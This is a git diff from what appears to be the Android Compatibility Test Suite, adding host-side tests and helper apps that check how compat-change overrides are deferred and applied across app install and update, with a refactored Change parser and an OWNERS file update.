+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_library_static {
+ name: "pre_install_override_lib",
+ sdk_version: "current",
+ srcs: ["src/**/*.java"],
+}
+
+android_test_helper_app {
+ name: "appcompat_preinstall_override_versioncode1_debuggable",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ static_libs: ["pre_install_override_lib"],
+ manifest: "AndroidManifest_versioncode1_debuggable.xml",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "appcompat_preinstall_override_versioncode2_debuggable",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ static_libs: ["pre_install_override_lib"],
+ manifest: "AndroidManifest_versioncode2_debuggable.xml",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "appcompat_preinstall_override_versioncode1_release",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ static_libs: ["pre_install_override_lib"],
+ manifest: "AndroidManifest_versioncode1_release.xml",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+}
+
+android_test_helper_app {
+ name: "appcompat_preinstall_override_versioncode2_release",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ static_libs: ["pre_install_override_lib"],
+ manifest: "AndroidManifest_versioncode2_release.xml",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+}
\ No newline at end of file
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_debuggable.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_debuggable.xml
new file mode 100644
index 0000000..ce8a215
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_debuggable.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.appcompat.preinstalloverride"
+ android:versionCode="1">
+ <uses-sdk android:targetSdkVersion="30"/>
+ <application android:debuggable="true">
+ <activity android:name=".Empty" android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_release.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_release.xml
new file mode 100644
index 0000000..10c39ac
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode1_release.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.appcompat.preinstalloverride"
+ android:versionCode="1">
+ <uses-sdk android:targetSdkVersion="30"/>
+ <application android:debuggable="false">
+ <activity android:name=".Empty" android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_debuggable.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_debuggable.xml
new file mode 100644
index 0000000..cce0eba
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_debuggable.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.appcompat.preinstalloverride"
+ android:versionCode="2">
+ <uses-sdk android:targetSdkVersion="30"/>
+ <application android:debuggable="true">
+ <activity android:name=".Empty" android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_release.xml b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_release.xml
new file mode 100644
index 0000000..7519ce0
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/AndroidManifest_versioncode2_release.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.appcompat.preinstalloverride"
+ android:versionCode="2">
+ <uses-sdk android:targetSdkVersion="30"/>
+ <application android:debuggable="false">
+ <activity android:name=".Empty" android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/src/com/android/cts/appcompat/preinstalloverride/EmptyActivity.java b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/src/com/android/cts/appcompat/preinstalloverride/EmptyActivity.java
new file mode 100644
index 0000000..45596d8
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/src/com/android/cts/appcompat/preinstalloverride/EmptyActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.appcompat.preinstalloverride;
+
+import android.app.Activity;
+
+public class EmptyActivity extends Activity {
+
+}
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesPreInstallOverrideTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesPreInstallOverrideTest.java
new file mode 100644
index 0000000..52356b9
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesPreInstallOverrideTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcompat;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeThat;
+
+import android.compat.cts.Change;
+import android.compat.cts.CompatChangeGatingTestCase;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.List;
+
+public final class CompatChangesPreInstallOverrideTest extends CompatChangeGatingTestCase {
+ private static final String TEST_PACKAGE = "com.android.cts.appcompat.preinstalloverride";
+ private static final String CTS_CHANGE_ID_NAME = "CTS_SYSTEM_API_CHANGEID";
+ private static final long CTS_CHANGE_ID = 149391281L;
+
+ @Override
+ protected void setUp() throws Exception {
+ uninstallPackage(TEST_PACKAGE, false);
+ runCommand("am compat reset-all " + TEST_PACKAGE);
+ runCommand("settings put global force_non_debuggable_final_build_for_compat 1");
+ }
+ @Override
+ protected void tearDown() throws Exception {
+ uninstallPackage(TEST_PACKAGE, false);
+ runCommand("am compat reset-all " + TEST_PACKAGE);
+ runCommand("settings put global force_non_debuggable_final_build_for_compat 0");
+ }
+
+ public void testDeferEnablingChangeIdAppNotInstalled() throws Exception {
+ runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+ try {
+ Change ctsChange = getCtsChange();
+ assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+ .that(ctsChange).isNotNull();
+ assertThat(ctsChange.hasDeferredOverrides).isTrue();
+ assertThat(ctsChange.deferredOverridesStr)
+ .isEqualTo("{" + TEST_PACKAGE + "=true}");
+ assertThat(ctsChange.hasOverrides).isFalse();
+
+ } finally {
+ runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+ }
+ }
+
+ public void testDeferredOverrideBecomesRegularOverridePostInstall() throws Exception {
+ runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+ try {
+ installPackage("appcompat_preinstall_override_versioncode1_debuggable.apk", false);
+
+ Change ctsChange = getCtsChange();
+ assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+ .that(ctsChange).isNotNull();
+ assertThat(ctsChange.hasDeferredOverrides).isFalse();
+ assertThat(ctsChange.hasOverrides).isTrue();
+ assertThat(ctsChange.overridesStr).isEqualTo("{" + TEST_PACKAGE + "=true}");
+
+ } finally {
+ runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+ }
+ }
+
+ public void testDeferredOverrideRemainsDeferredPostInstall() throws Exception {
+ runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+ try {
+ installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+
+ Change ctsChange = getCtsChange();
+ assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+ .that(ctsChange).isNotNull();
+ assertThat(ctsChange.hasDeferredOverrides).isTrue();
+ assertThat(ctsChange.deferredOverridesStr)
+ .isEqualTo("{" + TEST_PACKAGE + "=true}");
+ assertThat(ctsChange.hasOverrides).isFalse();
+
+ } finally {
+ runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+ }
+ }
+
+ public void testDeferredOverrideBecomesRegularOverridePostUpdate() throws Exception {
+ runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+ try {
+ installPackage("appcompat_preinstall_override_versioncode1_release.apk", false);
+ installPackage("appcompat_preinstall_override_versioncode2_debuggable.apk", false);
+
+ Change ctsChange = getCtsChange();
+ assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+ .that(ctsChange).isNotNull();
+ assertThat(ctsChange.hasDeferredOverrides).isFalse();
+ assertThat(ctsChange.hasOverrides).isTrue();
+ assertThat(ctsChange.overridesStr).isEqualTo("{" + TEST_PACKAGE + "=true}");
+
+ } finally {
+ runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+ }
+ }
+
+ public void testOverrideBecomesDeferredPostUpdate() throws Exception {
+ installPackage("appcompat_preinstall_override_versioncode1_debuggable.apk", false);
+ runCommand("am compat enable " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+ try {
+ installPackage("appcompat_preinstall_override_versioncode2_release.apk", false);
+
+ Change ctsChange = getCtsChange();
+ assertWithMessage("CTS specific change %s not found on device", CTS_CHANGE_ID_NAME)
+ .that(ctsChange).isNotNull();
+ assertThat(ctsChange.hasDeferredOverrides).isTrue();
+ assertThat(ctsChange.deferredOverridesStr)
+ .isEqualTo("{" + TEST_PACKAGE + "=true}");
+ assertThat(ctsChange.hasOverrides).isFalse();
+
+ } finally {
+ runCommand("am compat reset " + CTS_CHANGE_ID + " " + TEST_PACKAGE);
+ }
+ }
+
+ private Change getCtsChange() throws Exception {
+ List<Change> allChanges = getOnDeviceCompatConfig();
+ for (Change change : allChanges) {
+ if (change.changeId == CTS_CHANGE_ID) {
+ return change;
+ }
+ }
+ return null;
+ }
+}
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java
index 2f8790f..4316626 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSystemApiTest.java
@@ -34,7 +34,7 @@
public class CompatChangesSystemApiTest extends CompatChangeGatingTestCase {
protected static final String TEST_APK = "CtsHostsideCompatChangeTestsApp.apk";
- protected static final String TEST_PKG = "com.android.cts.appcompat";
+ protected static final String TEST_PKG = "com.android.cts.appcompat.compatchanges";
private static final long CTS_SYSTEM_API_CHANGEID = 149391281;
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index f8f4ccd..86ce834 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -18,16 +18,14 @@
import static com.google.common.truth.Truth.assertThat;
+import android.compat.cts.Change;
+import android.compat.cts.CompatChangeGatingTestCase;
import java.util.ArrayList;
-import java.util.Arrays;
import java.util.List;
-import java.util.Objects;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Collectors;
-import android.compat.cts.CompatChangeGatingTestCase;
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
@@ -35,153 +33,26 @@
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
-import javax.xml.parsers.DocumentBuilder;
-import javax.xml.parsers.DocumentBuilderFactory;
-
public final class CompatChangesValidConfigTest extends CompatChangeGatingTestCase {
- private static class Change {
- private static final Pattern CHANGE_REGEX = Pattern.compile("^ChangeId\\((?<changeId>[0-9]+)"
- + "(; name=(?<changeName>[^;]+))?"
- + "(; enableSinceTargetSdk=(?<sinceSdk>[0-9]+))?"
- + "(; (?<disabled>disabled))?"
- + "(; (?<loggingOnly>loggingOnly))?"
- + "(; packageOverrides=(?<overrides>[^\\)]+))?"
- + "\\)");
- long changeId;
- String changeName;
- int sinceSdk;
- boolean disabled;
- boolean loggingOnly;
- boolean hasOverrides;
-
- private Change(long changeId, String changeName, int sinceSdk,
- boolean disabled, boolean loggingOnly, boolean hasOverrides) {
- this.changeId = changeId;
- this.changeName = changeName;
- this.sinceSdk = sinceSdk;
- this.disabled = disabled;
- this.loggingOnly = loggingOnly;
- this.hasOverrides = hasOverrides;
- }
-
- static Change fromString(String line) {
- long changeId = 0;
- String changeName;
- int sinceSdk = -1;
- boolean disabled = false;
- boolean loggingOnly = false;
- boolean hasOverrides = false;
-
- Matcher matcher = CHANGE_REGEX.matcher(line);
- if (!matcher.matches()) {
- throw new RuntimeException("Could not match line " + line);
- }
-
- try {
- changeId = Long.parseLong(matcher.group("changeId"));
- } catch (NumberFormatException e) {
- throw new RuntimeException("No or invalid changeId!", e);
- }
- changeName = matcher.group("changeName");
- String sinceSdkAsString = matcher.group("sinceSdk");
- if (sinceSdkAsString != null) {
- try {
- sinceSdk = Integer.parseInt(sinceSdkAsString);
- } catch (NumberFormatException e) {
- throw new RuntimeException("Invalid sinceSdk for change!", e);
- }
- }
- if (matcher.group("disabled") != null) {
- disabled = true;
- }
- if (matcher.group("loggingOnly") != null) {
- loggingOnly = true;
- }
- if (matcher.group("overrides") != null) {
- hasOverrides = true;
- }
- return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, hasOverrides);
- }
-
- static Change fromNode(Node node) {
- Element element = (Element) node;
- long changeId = Long.parseLong(element.getAttribute("id"));
- String changeName = element.getAttribute("name");
- int sinceSdk = -1;
- if (element.hasAttribute("enableAfterTargetSdk")
- && element.hasAttribute("enableSinceTargetSdk")) {
- throw new IllegalArgumentException("Invalid change node!"
- + "Change contains both enableAfterTargetSdk and enableSinceTargetSdk");
- }
- if (element.hasAttribute("enableAfterTargetSdk")) {
- sinceSdk = Integer.parseInt(element.getAttribute("enableAfterTargetSdk")) + 1;
- }
- if (element.hasAttribute("enableSinceTargetSdk")) {
- sinceSdk = Integer.parseInt(element.getAttribute("enableSinceTargetSdk"));
- }
- boolean disabled = false;
- if (element.hasAttribute("disabled")) {
- disabled = true;
- }
- boolean loggingOnly = false;
- if (element.hasAttribute("loggingOnly")) {
- loggingOnly = true;
- }
- boolean hasOverrides = false;
- return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, hasOverrides);
- }
- @Override
- public int hashCode() {
- return Objects.hash(changeId, changeName, sinceSdk, disabled, hasOverrides);
- }
- @Override
- public boolean equals(Object other) {
- if (this == other) {
- return true;
- }
- if (other == null || !(other instanceof Change)) {
- return false;
- }
- Change that = (Change) other;
- return this.changeId == that.changeId
- && Objects.equals(this.changeName, that.changeName)
- && this.sinceSdk == that.sinceSdk
- && this.disabled == that.disabled
- && this.loggingOnly == that.loggingOnly
- && this.hasOverrides == that.hasOverrides;
- }
- @Override
- public String toString() {
- final StringBuilder sb = new StringBuilder();
- sb.append("ChangeId(" + changeId);
- if (changeName != null && !changeName.isEmpty()) {
- sb.append("; name=" + changeName);
- }
- if (sinceSdk != 0) {
- sb.append("; enableSinceTargetSdk=" + sinceSdk);
- }
- if (disabled) {
- sb.append("; disabled");
- }
- if (hasOverrides) {
- sb.append("; packageOverrides={something}");
- }
- sb.append(")");
- return sb.toString();
+ /**
+ * Check that there are no overrides.
+ */
+ public void testNoOverrides() throws Exception {
+ for (Change c : getOnDeviceCompatConfig()) {
+ assertThat(c.hasOverrides).isFalse();
}
}
/**
- * Get the on device compat config.
+ * Check that the on device config contains all the expected change ids defined in the platform.
+ * The device may contain extra changes, but none may be removed.
*/
- private List<Change> getOnDeviceCompatConfig() throws Exception {
- String config = runCommand("dumpsys platform_compat");
- return Arrays.stream(config.split("\n"))
- .map(Change::fromString)
- .collect(Collectors.toList());
+ public void testDeviceContainsExpectedConfig() throws Exception {
+ assertThat(getOnDeviceCompatConfig()).containsAtLeastElementsIn(getExpectedCompatConfig());
}
+
/**
* Parse the expected (i.e. defined in platform) config xml.
*/
@@ -202,21 +73,4 @@
return changes;
}
- /**
- * Check that there are no overrides.
- */
- public void testNoOverrides() throws Exception {
- for (Change c : getOnDeviceCompatConfig()) {
- assertThat(c.hasOverrides).isFalse();
- }
- }
-
- /**
- * Check that the on device config contains all the expected change ids defined in the platform.
- * The device may contain extra changes, but none may be removed.
- */
- public void testDeviceContainsExpectedConfig() throws Exception {
- assertThat(getOnDeviceCompatConfig()).containsAtLeastElementsIn(getExpectedCompatConfig());
- }
-
}
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/Change.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/Change.java
new file mode 100644
index 0000000..23dc83a
--- /dev/null
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/Change.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.compat.cts;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Objects;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import android.compat.cts.CompatChangeGatingTestCase;
+
+import org.w3c.dom.Element;
+import org.w3c.dom.Node;
+
+public class Change {
+ private static final Pattern CHANGE_REGEX = Pattern.compile("^ChangeId\\((?<changeId>[0-9]+)"
+ + "(; name=(?<changeName>[^;]+))?"
+ + "(; enableSinceTargetSdk=(?<sinceSdk>[0-9]+))?"
+ + "(; (?<disabled>disabled))?"
+ + "(; (?<loggingOnly>loggingOnly))?"
+ + "(; deferredOverrides=(?<deferredOverrides>[^\\);]+))?"
+ + "(; packageOverrides=(?<overrides>[^\\)]+))?"
+ + "\\)");
+ public long changeId;
+ public String changeName;
+ public int sinceSdk;
+ public boolean disabled;
+ public boolean loggingOnly;
+ public boolean hasDeferredOverrides;
+ public boolean hasOverrides;
+
+ public String deferredOverridesStr;
+ public String overridesStr;
+
+ private Change(long changeId, String changeName, int sinceSdk,
+ boolean disabled, boolean loggingOnly, boolean hasDeferredOverrides,
+ boolean hasOverrides, String deferredOverridesStr,
+ String overridesStr) {
+ this.changeId = changeId;
+ this.changeName = changeName;
+ this.sinceSdk = sinceSdk;
+ this.disabled = disabled;
+ this.loggingOnly = loggingOnly;
+ this.hasDeferredOverrides = hasDeferredOverrides;
+ this.hasOverrides = hasOverrides;
+ this.deferredOverridesStr = deferredOverridesStr;
+ this.overridesStr = overridesStr;
+ }
+
+ public static Change fromString(String line) {
+ long changeId = 0;
+ String changeName;
+ int sinceSdk = -1;
+ boolean disabled = false;
+ boolean loggingOnly = false;
+ boolean hasDeferredOverrides = false;
+ boolean hasOverrides = false;
+
+ String deferredOverridesStr = null;
+ String overridesStr = null;
+
+ Matcher matcher = CHANGE_REGEX.matcher(line);
+ if (!matcher.matches()) {
+ throw new RuntimeException("Could not match line " + line);
+ }
+
+ try {
+ changeId = Long.parseLong(matcher.group("changeId"));
+ } catch (NumberFormatException e) {
+ throw new RuntimeException("No or invalid changeId!", e);
+ }
+ changeName = matcher.group("changeName");
+ String sinceSdkAsString = matcher.group("sinceSdk");
+ if (sinceSdkAsString != null) {
+ try {
+ sinceSdk = Integer.parseInt(sinceSdkAsString);
+ } catch (NumberFormatException e) {
+ throw new RuntimeException("Invalid sinceSdk for change!", e);
+ }
+ }
+ if (matcher.group("disabled") != null) {
+ disabled = true;
+ }
+ if (matcher.group("loggingOnly") != null) {
+ loggingOnly = true;
+ }
+ if (matcher.group("deferredOverrides") != null) {
+ hasDeferredOverrides = true;
+ deferredOverridesStr = matcher.group("deferredOverrides");
+ }
+ if (matcher.group("overrides") != null) {
+ hasOverrides = true;
+ overridesStr = matcher.group("overrides");
+ }
+ return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly,
+ hasDeferredOverrides, hasOverrides, deferredOverridesStr,
+ overridesStr);
+ }
+
+ public static Change fromNode(Node node) {
+ Element element = (Element) node;
+ long changeId = Long.parseLong(element.getAttribute("id"));
+ String changeName = element.getAttribute("name");
+ int sinceSdk = -1;
+ if (element.hasAttribute("enableAfterTargetSdk")
+ && element.hasAttribute("enableSinceTargetSdk")) {
+ throw new IllegalArgumentException("Invalid change node!"
+ + "Change contains both enableAfterTargetSdk and enableSinceTargetSdk");
+ }
+ if (element.hasAttribute("enableAfterTargetSdk")) {
+ sinceSdk = Integer.parseInt(element.getAttribute("enableAfterTargetSdk")) + 1;
+ }
+ if (element.hasAttribute("enableSinceTargetSdk")) {
+ sinceSdk = Integer.parseInt(element.getAttribute("enableSinceTargetSdk"));
+ }
+ boolean disabled = false;
+ if (element.hasAttribute("disabled")) {
+ disabled = true;
+ }
+ boolean loggingOnly = false;
+ if (element.hasAttribute("loggingOnly")) {
+ loggingOnly = true;
+ }
+ return new Change(changeId, changeName, sinceSdk, disabled, loggingOnly, false, false,
+ null, null);
+ }
+
+ @Override
+ public int hashCode() {
+ return Objects.hash(changeId, changeName, sinceSdk, disabled, hasOverrides);
+ }
+
+ @Override
+ public boolean equals(Object other) {
+ if (this == other) {
+ return true;
+ }
+ if (other == null || !(other instanceof Change)) {
+ return false;
+ }
+ Change that = (Change) other;
+ return this.changeId == that.changeId
+ && Objects.equals(this.changeName, that.changeName)
+ && this.sinceSdk == that.sinceSdk
+ && this.disabled == that.disabled
+ && this.loggingOnly == that.loggingOnly
+ && this.hasDeferredOverrides == that.hasDeferredOverrides
+ && this.hasOverrides == that.hasOverrides;
+ }
+
+ @Override
+ public String toString() {
+ final StringBuilder sb = new StringBuilder();
+ sb.append("ChangeId(" + changeId);
+ if (changeName != null && !changeName.isEmpty()) {
+ sb.append("; name=" + changeName);
+ }
+ if (sinceSdk != 0) {
+ sb.append("; enableSinceTargetSdk=" + sinceSdk);
+ }
+ if (disabled) {
+ sb.append("; disabled");
+ }
+ if (hasDeferredOverrides) {
+ sb.append("; deferredOverrides={");
+ sb.append(deferredOverridesStr);
+ sb.append("}");
+ }
+ if (hasOverrides) {
+ sb.append("; packageOverrides={");
+ sb.append(overridesStr);
+ sb.append("}");
+ }
+ sb.append(")");
+ return sb.toString();
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 1217fbe..b4b16f5 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -46,6 +46,7 @@
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
+import java.util.Arrays;
import java.util.List;
import java.util.Map;
import java.util.Set;
@@ -380,4 +381,15 @@
getDevice().executeShellCommand(command, receiver);
return receiver.getOutput();
}
+
+ /**
+ * Get the on device compat config.
+ */
+ protected List<Change> getOnDeviceCompatConfig() throws Exception {
+ String config = runCommand("dumpsys platform_compat");
+ return Arrays.stream(config.split("\n"))
+ .map(Change::fromString)
+ .collect(Collectors.toList());
+ }
+
}
diff --git a/hostsidetests/appsecurity/OWNERS b/hostsidetests/appsecurity/OWNERS
index 15dfecc..f438e7b 100644
--- a/hostsidetests/appsecurity/OWNERS
+++ b/hostsidetests/appsecurity/OWNERS
@@ -1,24 +1,16 @@
# Bug component: 533114
toddke@google.com
per-file AccessSerialNumberTest.java = moltmann@google.com
-per-file AdoptableFeatureConsistentTest.java = jsharkey@google.com
-per-file AdoptableHostTest.java = jsharkey@google.com
per-file ApexSignatureVerificationTest.java = dariofreni@google.com
per-file ApplicationVisibilityTest.java = toddke@google.com
-per-file AppDataIsolationTests.java = rickywai@google.com
+per-file AppDataIsolationTests.java = rickywai@google.com,alanstokes@google.com
per-file AppOpsTest.java = moltmann@google.com
per-file AppSecurityTests.java = cbrubaker@google.com
per-file AuthBoundKeyTest.java = cbrubaker@google.com
per-file BaseInstallMultiple.java = toddke@google.com
per-file CorruptApkTests.java = rtmitchell@google.com
per-file DeviceIdentifierTest.java = cbrubaker@google.com
-per-file DirectBootHostTest.java = jsharkey@google.com
-per-file DocumentsTestCase.java = dikshag@google.com
-per-file DocumentsTestCase.java = zemiao@google.com
-per-file DocumentsTest.java = dikshag@google.com
-per-file DocumentsTest.java = zemiao@google.com
per-file EphemeralTest.java = toddke@google.com
-per-file ExternalStorageHostTest.java = jsharkey@google.com
per-file ExternalStorageHostTest.java = nandana@google.com
per-file ExternalStorageHostTest.java = zezeozue@google.com
per-file InstantAppUserTest.java = toddke@google.com
@@ -35,10 +27,8 @@
per-file PrivilegedUpdateTests.java = toddke@google.com
per-file ReviewPermissionHelper = moltmann@google.com
per-file RequestsOnlyCalendarApp22.java = moltmann@google.com
-per-file ScopedDirectoryAccessTest.java = jsharkey@google.com
per-file SharedUserIdTest.java = toddke@google.com
per-file SplitTests.java = patb@google.com,toddke@google.com
-per-file StorageHostTest.java = jsharkey@google.com
per-file UseEmbeddedDexTest.java = victorhsieh@google.com
# test apps
per-file BasePermissionsTest.java = moltmann@google.com
@@ -50,3 +40,12 @@
per-file CtsShim*.apk = ioffe@google.com
per-file com.android.apex.cts.shim.*.apex = dariofreni@google.com
per-file com.android.apex.cts.shim.*.apex = ioffe@google.com
+
+per-file *Adoptable* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file *DirectBoot* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
